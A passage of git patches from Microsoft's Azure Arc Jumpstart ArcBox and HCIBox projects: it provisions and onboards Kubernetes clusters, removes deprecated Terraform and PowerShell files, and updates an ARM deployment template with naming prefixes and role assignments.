https://raw.githubusercontent.com/Azure/Microsoft-Defender-for-Cloud/main/Pricing%20%26%20Settings/Defender%20for%20Kubernetes/audit-policy.yaml - -cat < $CLUSTER_NAME.kubeconfig -sleep 120 -echo "" -# sudo kubectl --kubeconfig=./$CLUSTER_NAME.kubeconfig apply -f https://raw.githubusercontent.com/kubernetes-sigs/cluster-api-provider-azure/main/templates/addons/calico.yaml -helm repo add projectcalico https://docs.tigera.io/calico/charts --kubeconfig=./$CLUSTER_NAME.kubeconfig && \ -helm install calico projectcalico/tigera-operator --version $CALICO_VERSION --kubeconfig=./$CLUSTER_NAME.kubeconfig -f https://raw.githubusercontent.com/kubernetes-sigs/cluster-api-provider-azure/main/templates/addons/calico/values.yaml --namespace tigera-operator --create-namespace - -echo "" -while true; do - # Retrieve the list of nodes - nodes=$(kubectl get nodes --kubeconfig=./$CLUSTER_NAME.kubeconfig -o json | jq -r '.items[].metadata.name') - - # Flag to keep track of readiness status - all_ready=true - - # Iterate over each node and check its status - for node in $nodes; do - ready=$(kubectl get nodes $node --kubeconfig=./$CLUSTER_NAME.kubeconfig -o json | jq -r '.status.conditions[] | select(.type=="Ready") | .status') - - if [[ $ready != "True" ]]; then - echo "Node $node is not ready." - all_ready=false - fi - done - - # Check if all nodes are ready - if [[ $all_ready == true ]]; then - echo "All nodes are ready." - break - else - echo "Waiting for 30 seconds..." - sleep 30 - fi -done - - -echo "" -sudo kubectl --kubeconfig=./$CLUSTER_NAME.kubeconfig label node -l '!node-role.kubernetes.io/master' node-role.kubernetes.io/worker=worker -echo "" -sudo kubectl --kubeconfig=./$CLUSTER_NAME.kubeconfig get nodes -o wide | expand | awk 'length($0) > length(longest) { longest = $0 } { lines[NR] = $0 } END { gsub(/./, "=", longest); print "/=" longest "=\\"; n = length(longest); for(i = 1; i <= NR; ++i) { printf("| %s %*s\n", lines[i], n - length(lines[i]) + 1, "|"); } print "\\=" longest "=/" }' - -# kubeconfig files housekeeping -echo "" -sudo -u $adminUsername rm -f /home/${adminUsername}/.kube/config.staging -clusterctl get kubeconfig $CLUSTER_NAME > /home/${adminUsername}/.kube/config - -sudo service sshd restart - -# Creating Storage Class with azure-managed-disk for the CAPI cluster -echo "" -sudo -u $adminUsername kubectl apply -f ${templateBaseUrl}artifacts/capiStorageClass.yaml - -# Renaming CAPI cluster context name -echo "" -sudo -u $adminUsername kubectl config rename-context "$CLUSTER_NAME-admin@$CLUSTER_NAME" "arcbox-capi" - -# Onboarding the cluster to Azure Arc -echo "" -workspaceResourceId=$(sudo -u $adminUsername az resource show --resource-group $AZURE_RESOURCE_GROUP --name $logAnalyticsWorkspace --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) -sudo -u $adminUsername az connectedk8s connect --name $capiArcDataClusterName --resource-group $AZURE_RESOURCE_GROUP --location $location --tags 'Project=jumpstart_arcbox' --correlation-id "6038cc5b-b814-4d20-bcaa-0f60392416d5" - -# Enabling Microsoft Defender for Containers and Container Insights cluster extensions -echo "" -sudo -u $adminUsername az k8s-extension create --name "azure-defender" --cluster-name $capiArcDataClusterName --resource-group $AZURE_RESOURCE_GROUP --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId -echo "" -sudo -u $adminUsername az k8s-extension create --name "azuremonitor-containers" --cluster-name $capiArcDataClusterName --resource-group $AZURE_RESOURCE_GROUP --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId - -# Enabling Azure Policy for Kubernetes on the cluster -echo "" -sudo -u $adminUsername az k8s-extension create --name "arc-azurepolicy" --cluster-name $capiArcDataClusterName --resource-group $AZURE_RESOURCE_GROUP --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights - -# Deploying The Azure disk Container Storage Interface (CSI) Kubernetes driver -echo "" -curl -skSL https://raw.githubusercontent.com/kubernetes-sigs/azuredisk-csi-driver/v${AZURE_DISK_CSI_DRIVER_VERSION}/deploy/install-driver.sh -o install-driver.sh -sed -i 's/kubectl apply/sudo -u ${adminUsername} kubectl apply/g' install-driver.sh -source ./install-driver.sh v${AZURE_DISK_CSI_DRIVER_VERSION} snapshot -- - -# Copying workload CAPI kubeconfig file to staging storage account -echo "" -sudo -u $adminUsername az extension add --upgrade -n storage-preview -storageAccountRG=$(sudo -u $adminUsername az storage account show --name $stagingStorageAccountName --query 'resourceGroup' | sed -e 's/^"//' -e 's/"$//') -storageContainerName="staging-capi" -export localPath="/home/${adminUsername}/.kube/config" -storageAccountKey=$(sudo -u $adminUsername az storage account keys list --resource-group $storageAccountRG --account-name $stagingStorageAccountName --query [0].value | sed -e 's/^"//' -e 's/"$//') -sudo -u $adminUsername az storage container create -n $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey -sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $localPath - -# Uploading this script log to staging storage for ease of troubleshooting -echo "" -log="/home/${adminUsername}/jumpstart_logs/installCAPI.log" -sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $log From 6cd6eaa3a7f607b4d74aac05af2cdb3ac3620cb9 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 00:16:35 +0300 Subject: [PATCH 477/506] remove terraform --- .../terraform/modules/kubernetes/aks/main.tf | 190 ------------------ 1 file changed, 190 deletions(-) delete mode 100644 azure_jumpstart_arcbox/terraform/modules/kubernetes/aks/main.tf diff --git a/azure_jumpstart_arcbox/terraform/modules/kubernetes/aks/main.tf b/azure_jumpstart_arcbox/terraform/modules/kubernetes/aks/main.tf deleted file mode 100644 index 67e13a7186..0000000000 --- a/azure_jumpstart_arcbox/terraform/modules/kubernetes/aks/main.tf +++ /dev/null @@ -1,190 +0,0 @@ -variable "resource_group_name" { - type = string - description = "Azure Resource Group" -} -variable "aks_cluster_name" { - type = string - description = "The name of the Kubernetes cluster resource" - default = "ArcBox-AKS-Data" -} - -variable "aks_dr_cluster_name" { - type = string - description = "The name of the DR Kubernetes cluster resource" - default = "ArcBox-AKS-DR-Data" -} - -variable "dns_prefix_primary" { - type = string - description = "Optional DNS prefix to use with hosted Kubernetes API server FQDN" - default = "arcdata" -} - -variable "dns_prefix_secondary" { - type = string - description = "Optional DNS prefix to use with hosted Kubernetes API server FQDN" - default = "arcdata" -} - -variable "agent_count" { - type = number - description = "The number of nodes for the cluster" - default = 3 -} - -variable "agent_vm_size" { - type = string - description = "The size of the VM." - default = "Standard_D8s_v4" -} - -variable "linux_admin_Username" { - type = string - description = "User name for the Linux Virtual Machines" - default = "arcdemo" -} - -variable "ssh_rsa_public_key" { - type = string - description = "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm" -} - -variable "spn_client_id" { - type = string - description = "Arc Service Principal clientID." -} - -variable "spn_client_secret" { - type = string - description = "Arc Service Principal client secret." - sensitive = true -} - -variable "spn_tenant_id" { - type = string - description = "Tenant Id" -} - - - -variable "enable_rbac" { - type = bool - description = "boolean flag to turn on and off of RBAC" - default = true -} - -variable "os_type" { - type = string - description = "The type of operating system" - default = "Linux" -} - -variable "Kubernetes_version" { - type = string - description = "The version of Kubernetes" - default = "1.28.5" -} - -locals { - service_cidr_primary = "10.20.64.0/19" - dns_service_ip_primary = "10.20.64.10" - docker_bridge_cidr_primary = "172.17.0.1/16" - service_cidr_secondary = "172.20.64.0/19" - dns_service_ip_secondary = "172.20.64.10" - docker_bridge_cidr_secondary = "192.168.0.1/16" - virtual_network_name = "ArcBox-VNet" - aks_subnet_name = "ArcBox-AKS-Subnet" - dr_virtual_network_name = "ArcBox-DR-VNet" - dr_subnet_name = "ArcBox-DR-Subnet" -} - -data "azurerm_subscription" "primary" { -} - -data "azurerm_resource_group" "rg" { - name = var.resource_group_name -} - -data "azurerm_subnet" "aks_subnet" { - name = local.aks_subnet_name - virtual_network_name = local.virtual_network_name - resource_group_name = data.azurerm_resource_group.rg.name -} - -data "azurerm_subnet" "aks_dr_subnet" { - name = local.dr_subnet_name - virtual_network_name = local.dr_virtual_network_name - resource_group_name = data.azurerm_resource_group.rg.name -} - -resource "azurerm_kubernetes_cluster" "aks_primary" { - location = data.azurerm_resource_group.rg.location - resource_group_name = data.azurerm_resource_group.rg.name - name = var.aks_cluster_name - kubernetes_version = var.Kubernetes_version - role_based_access_control_enabled = var.enable_rbac - dns_prefix = var.dns_prefix_primary - default_node_pool { - name = "agentpool" - vm_size = var.agent_vm_size - node_count = var.agent_count - type = "VirtualMachineScaleSets" - vnet_subnet_id = data.azurerm_subnet.aks_subnet.id - } - network_profile { - network_plugin = "azure" - service_cidr = local.service_cidr_primary - dns_service_ip = local.dns_service_ip_primary - docker_bridge_cidr = local.docker_bridge_cidr_primary - } - linux_profile { - admin_username = var.linux_admin_Username - ssh_key { - key_data = file(var.ssh_rsa_public_key) - } - } - azure_active_directory_role_based_access_control { - managed = true - tenant_id = var.spn_tenant_id - } - service_principal { - client_id = var.spn_client_id - client_secret = var.spn_client_secret - } -} - -resource "azurerm_kubernetes_cluster" "aks_dr_primary" { - location = data.azurerm_resource_group.rg.location - resource_group_name = data.azurerm_resource_group.rg.name - name = var.aks_dr_cluster_name - kubernetes_version = var.Kubernetes_version - role_based_access_control_enabled = var.enable_rbac - dns_prefix = var.dns_prefix_primary - default_node_pool { - name = "agentpool" - vm_size = var.agent_vm_size - node_count = var.agent_count - type = "VirtualMachineScaleSets" - vnet_subnet_id = data.azurerm_subnet.aks_dr_subnet.id - } - network_profile { - network_plugin = "azure" - service_cidr = local.service_cidr_secondary - dns_service_ip = local.dns_service_ip_secondary - docker_bridge_cidr = local.docker_bridge_cidr_secondary - } - linux_profile { - admin_username = var.linux_admin_Username - ssh_key { - key_data = file(var.ssh_rsa_public_key) - } - } - service_principal { - client_id = var.spn_client_id - client_secret = var.spn_client_secret - } - azure_active_directory_role_based_access_control { - managed = true - tenant_id = var.spn_tenant_id - } -} From 102d8900719547b705ad914a9ebb68f37bfb5db7 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 00:18:05 +0300 Subject: [PATCH 478/506] delete deprecated file --- .../artifacts/Register-AzSHCI.ps1 | 69 ------------------- 1 file changed, 69 deletions(-) delete mode 100644 azure_jumpstart_hcibox/artifacts/Register-AzSHCI.ps1 diff --git a/azure_jumpstart_hcibox/artifacts/Register-AzSHCI.ps1 b/azure_jumpstart_hcibox/artifacts/Register-AzSHCI.ps1 deleted file mode 100644 index c94427c0db..0000000000 --- a/azure_jumpstart_hcibox/artifacts/Register-AzSHCI.ps1 +++ /dev/null @@ -1,69 +0,0 @@ -$WarningPreference = "SilentlyContinue" -$ErrorActionPreference = "Stop" -$ProgressPreference = 'SilentlyContinue' -# Set paths -$Env:HCIBoxDir = "C:\HCIBox" -$Env:HCIBoxLogsDir = "C:\HCIBox\Logs" -$Env:HCIBoxVMDir = "C:\HCIBox\Virtual Machines" -$Env:HCIBoxKVDir = "C:\HCIBox\KeyVault" -$Env:HCIBoxGitOpsDir = "C:\HCIBox\GitOps" -$Env:HCIBoxIconDir = "C:\HCIBox\Icons" -$Env:HCIBoxVHDDir = "C:\HCIBox\VHD" -$Env:HCIBoxSDNDir = "C:\HCIBox\SDN" -$Env:HCIBoxWACDir = "C:\HCIBox\Windows Admin Center" -$Env:agentScript = "C:\HCIBox\agentScript" -$Env:ToolsDir = "C:\Tools" -$Env:tempDir = "C:\Temp" -$Env:VMPath = "C:\VMs" - -Start-Transcript -Path $Env:HCIBoxLogsDir\Register-AzSHCI.log - -# Import Configuration Module -$ConfigurationDataFile = "$Env:HCIBoxDir\HCIBox-Config.psd1" -$SDNConfig = Import-PowerShellDataFile -Path $ConfigurationDataFile -$user = "jumpstart.local\administrator" -$password = ConvertTo-SecureString -String $SDNConfig.SDNAdminPassword -AsPlainText -Force -$adcred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, $password - -Write-Host "Installing Required Modules" -ForegroundColor Green -BackgroundColor Black -Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force -Install-WindowsFeature -name RSAT-Clustering-Powershell -$ModuleNames = "Az.Accounts", "Az.stackhci" -foreach ($ModuleName in $ModuleNames) { - Install-Module -Name $ModuleName -Force -} - -# Required for CLI commands -Write-Host "Az Login" -$azureAppCred = (New-Object System.Management.Automation.PSCredential $env:spnClientID, (ConvertTo-SecureString -String $env:spnClientSecret -AsPlainText -Force)) -Connect-AzAccount -ServicePrincipal -Subscription $env:subscriptionId -Tenant $env:spnTenantId -Credential $azureAppCred - -#Register the Cluster -Write-Host "Registering the Cluster" -ForegroundColor Green -BackgroundColor Black -$armtoken = ConvertFrom-SecureString ((Get-AzAccessToken -AsSecureString).Token) -AsPlainText -$clustername = 'HCIBox-Cluster' -$azureLocation = 'eastus' -Register-AzStackHCI -SubscriptionId $env:subscriptionId -ComputerName $SDNConfig.HostList[0] -AccountId $env:spnClientID -ArmAccessToken $armtoken -Credential $adcred -Region $azureLocation -ResourceName $clustername -ResourceGroupName $env:resourceGroup -Move-Item -Path RegisterHCI_* -Destination $Env:HCIBoxLogsDir\RegisterHCI_PS_Output.log - -Write-Host "$clustername successfully registered as Az Stack HCI cluster resource in Azure" - -# Set up cluster cloud witness -Connect-AzAccount -ServicePrincipal -Subscription $env:subscriptionId -Tenant $env:spnTenantId -Credential $azureAppCred -$storageKey = Get-AzStorageAccountKey -Name $env:stagingStorageAccountName -ResourceGroup $env:resourceGroup -$saName = $env:stagingStorageAccountName -Invoke-Command -VMName $SDNConfig.HostList[0] -Credential $adcred -ScriptBlock { - Set-ClusterQuorum -Cluster "hciboxcluster" -CloudWitness -AccountName $using:saName -AccessKey $using:storageKey[0].value -} - -# Install Az CLI and extensions on each node -Invoke-Command -VMName $SDNConfig.HostList -Credential $adcred -ScriptBlock { - Write-Verbose "Installing Az CLI" - $ProgressPreference = "SilentlyContinue" - Invoke-WebRequest -Uri https://aka.ms/installazurecliwindowsx64 -OutFile .\AzureCLI.msi; - Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'; - Start-Sleep -Seconds 30 - $ProgressPreference = "Continue" -} - -Stop-Transcript \ No newline at end of file From b50d9f0627551b83bff2885a130f2e98d08af516 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 21:18:28 +0000 Subject: [PATCH 479/506] Remove unnecessary code and update Azure CLI extensions Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 -- 1 file changed, 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index fa73931047..38324e598a 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -131,8 +131,6 @@ if ($Env:flavor -ne "DevOps") { $folder.Attributes += [System.IO.FileAttributes]::Hidden } - $Env:AZURE_CONFIG_DIR = $cliDir.FullName - # Install Azure CLI extensions Write-Header "Az CLI extensions" From aaaa34d66d977fd50fb600f98587006dbcf1d5fe Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 21:32:42 +0000 Subject: [PATCH 480/506] Updated VHD source folder URL in ArcServersLogonScript.ps1 Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 38324e598a..284ea10521 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -18,7 +18,7 @@ $resourceTags = $env:resourceTags $namingPrefix = $env:namingPrefix # Moved VHD storage account details here to keep only in place to prevent duplicates. -$vhdSourceFolder = "https://jumpstartprodsg.blob.core.windows.net/arcbox/preprod/*" +$vhdSourceFolder = "https://jumpstartprodsg.blob.core.windows.net/arcbox/*" # Archive existing log file and create new one $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" From e22fe12312e8b40d28a59537502ae7bd69f1563b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 21:36:15 +0000 Subject: [PATCH 481/506] Update VHD source folder URL in ArcServersLogonScript.ps1 Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 284ea10521..d3efc6c2cb 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -18,7 +18,7 @@ $resourceTags = $env:resourceTags $namingPrefix = $env:namingPrefix # Moved VHD storage account details here to keep only in place to prevent duplicates. -$vhdSourceFolder = "https://jumpstartprodsg.blob.core.windows.net/arcbox/*" +$vhdSourceFolder = "https://jumpstartprodsg.blob.core.windows.net/arcbox/prod/*" # Archive existing log file and create new one $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" From 8e74c495efb385a569b6faffbd9296aff691be43 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 00:48:49 +0300 Subject: [PATCH 482/506] refresh ARM template --- azure_jumpstart_arcbox/ARM/azuredeploy.json | 920 ++++++++++++++++---- 1 file changed, 743 insertions(+), 177 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/azuredeploy.json b/azure_jumpstart_arcbox/ARM/azuredeploy.json index 888475959c..38d1957e40 100644 --- a/azure_jumpstart_arcbox/ARM/azuredeploy.json +++ b/azure_jumpstart_arcbox/ARM/azuredeploy.json @@ -4,8 +4,8 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "13401064883874791691" + "version": "0.29.47.4906", + "templateHash": "13913810108142988750" } }, "parameters": { @@ -18,6 +18,7 @@ }, "tenantId": { "type": "string", + "defaultValue": "[tenant().tenantId]", "metadata": { "description": "Your Microsoft Entra tenant Id" } @@ -131,18 +132,58 @@ }, "customLocationRPOID": { "type": "string", - "defaultValue": "", + "defaultValue": "[newGuid()]", "metadata": { "description": "The custom location RPO ID. This parameter is only needed when deploying the DataOps flavor." } + }, + "debugEnabled": { + "type": "bool", + "defaultValue": false, + "metadata": { + "description": "Use this parameter to enable or disable debug mode for the automation scripts on the client VM, effectively configuring PowerShell ErrorActionPreference to Break. Intended for use when troubleshooting automation scripts. Default is false." + } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines and all Azure resources deployed. The maximum length for the naming prefix is 7 characters,example: `ArcBox-Win2k19`" + } + }, + "autoShutdownEnabled": { + "type": "bool", + "defaultValue": false + }, + "autoShutdownTime": { + "type": "string", + "defaultValue": "1800" + }, + "autoShutdownTimezone": { + "type": "string", + "defaultValue": "UTC" + }, + "autoShutdownEmailRecipient": { + "type": "string", + "defaultValue": "" } }, "variables": { "templateBaseUrl": "[format('https://raw.githubusercontent.com/{0}/azure_arc/{1}/azure_jumpstart_arcbox/', parameters('githubAccount'), parameters('githubBranch'))]", - "aksArcDataClusterName": "[format('ArcBox-AKS-Data-{0}', parameters('guid'))]", - "aksDrArcDataClusterName": "[format('ArcBox-AKS-DR-Data-{0}', parameters('guid'))]", - "k3sArcDataClusterName": "[format('ArcBox-DataSvc-K3s-{0}', parameters('guid'))]", - "k3sArcClusterName": "[format('ArcBox-K3s-{0}', parameters('guid'))]", + "aksArcDataClusterName": "[format('{0}-AKS-Data-{1}', parameters('namingPrefix'), parameters('guid'))]", + "aksDrArcDataClusterName": "[format('{0}-AKS-DR-Data-{1}', parameters('namingPrefix'), parameters('guid'))]", + "k3sArcDataClusterName": "[format('{0}-K3s-Data-{1}', parameters('namingPrefix'), parameters('guid'))]", + "k3sArcClusterName": "[format('{0}-K3s-{1}', parameters('namingPrefix'), parameters('guid'))]", "k3sClusterNodesCount": 3 }, "resources": [ @@ -161,7 +202,7 @@ "value": "[parameters('sshRSAPublicKey')]" }, "stagingStorageAccountName": { - "value": "[reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value]" + "value": "[toLower(reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value)]" }, "logAnalyticsWorkspace": { "value": "[parameters('logAnalyticsWorkspaceName')]" @@ -183,6 +224,9 @@ }, "flavor": { "value": "[parameters('flavor')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } }, "template": { @@ -191,14 +235,14 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "7547776620201268405" + "version": "0.29.47.4906", + "templateHash": "16381001317417135477" } }, "parameters": { "vmName": { "type": "string", - "defaultValue": "ArcBox-K3s", + "defaultValue": "[format('{0}-K3s', parameters('namingPrefix'))]", "metadata": { "description": "The name of you Virtual Machine" } @@ -247,12 +291,6 @@ "description": "Resource Id of the subnet in the virtual network" } }, - "resourceTags": { - "type": "object", - "defaultValue": { - "Project": "jumpstart_arcbox" - } - }, "stagingStorageAccountName": { "type": "string", "metadata": { @@ -287,6 +325,14 @@ "metadata": { "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro'" } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } } }, "variables": { @@ -295,7 +341,7 @@ "osDiskType": "Premium_LRS", "k3sControlPlane": "true", "diskSize": "[if(equals(parameters('flavor'), 'DataOps'), 512, 64)]", - "numberOfIPAddresses": "[if(equals(parameters('flavor'), 'DataOps'), 7, 5)]" + "numberOfIPAddresses": "[if(equals(parameters('flavor'), 'DataOps'), 8, 5)]" }, "resources": [ { @@ -351,7 +397,6 @@ "apiVersion": "2022-03-01", "name": "[parameters('vmName')]", "location": "[parameters('azureLocation')]", - "tags": "[parameters('resourceTags')]", "identity": { "type": "SystemAssigned" }, @@ -416,6 +461,19 @@ "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" ] }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2022-03-01", @@ -436,7 +494,8 @@ }, "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]", - "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner'))]" + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner'))]", + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor'))]" ] } ] @@ -452,7 +511,7 @@ "name": "ubuntuRancherK3sDataSvcNodesDeployment", "count": "[length(range(0, variables('k3sClusterNodesCount')))]" }, - "condition": "[or(equals(parameters('flavor'), 'Full'), equals(parameters('flavor'), 'DataOps'))]", + "condition": "[or(or(equals(parameters('flavor'), 'Full'), equals(parameters('flavor'), 'DataOps')), equals(parameters('flavor'), 'DevOps'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2022-09-01", "name": "[format('ubuntuRancherK3sDataSvcNodesDeployment-{0}', range(0, variables('k3sClusterNodesCount'))[copyIndex()])]", @@ -466,7 +525,7 @@ "value": "[parameters('sshRSAPublicKey')]" }, "stagingStorageAccountName": { - "value": "[reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value]" + "value": "[toLower(reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value)]" }, "logAnalyticsWorkspace": { "value": "[parameters('logAnalyticsWorkspaceName')]" @@ -488,6 +547,9 @@ }, "storageContainerName": { "value": "[toLower(variables('k3sArcDataClusterName'))]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } }, "template": { @@ -496,14 +558,14 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "3280968944113783649" + "version": "0.29.47.4906", + "templateHash": "9882362287265074744" } }, "parameters": { "vmName": { "type": "string", - "defaultValue": "ArcBox-K3s-Node", + "defaultValue": "[format('{0}-K3s-Node', parameters('namingPrefix'))]", "metadata": { "description": "The name of you Virtual Machine" } @@ -545,12 +607,6 @@ "description": "Resource Id of the subnet in the virtual network" } }, - "resourceTags": { - "type": "object", - "defaultValue": { - "Project": "jumpstart_arcbox" - } - }, "stagingStorageAccountName": { "type": "string", "metadata": { @@ -585,6 +641,14 @@ "metadata": { "description": "Storage account container name for artifacts" } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } } }, "variables": { @@ -618,7 +682,6 @@ "apiVersion": "2022-03-01", "name": "[parameters('vmName')]", "location": "[parameters('azureLocation')]", - "tags": "[parameters('resourceTags')]", "identity": { "type": "SystemAssigned" }, @@ -683,6 +746,19 @@ "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" ] }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, { "type": "Microsoft.Compute/virtualMachines/extensions", "apiVersion": "2022-03-01", @@ -703,7 +779,8 @@ }, "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]", - "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner'))]" + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner'))]", + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor'))]" ] } ] @@ -730,7 +807,7 @@ "value": "[parameters('sshRSAPublicKey')]" }, "stagingStorageAccountName": { - "value": "[reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value]" + "value": "[toLower(reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value)]" }, "logAnalyticsWorkspace": { "value": "[parameters('logAnalyticsWorkspaceName')]" @@ -752,6 +829,9 @@ }, "flavor": { "value": "[parameters('flavor')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } }, "template": { @@ -760,14 +840,14 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "7547776620201268405" + "version": "0.29.47.4906", + "templateHash": "16381001317417135477" } }, "parameters": { "vmName": { "type": "string", - "defaultValue": "ArcBox-K3s", + "defaultValue": "[format('{0}-K3s', parameters('namingPrefix'))]", "metadata": { "description": "The name of you Virtual Machine" } @@ -816,12 +896,6 @@ "description": "Resource Id of the subnet in the virtual network" } }, - "resourceTags": { - "type": "object", - "defaultValue": { - "Project": "jumpstart_arcbox" - } - }, "stagingStorageAccountName": { "type": "string", "metadata": { @@ -856,6 +930,14 @@ "metadata": { "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 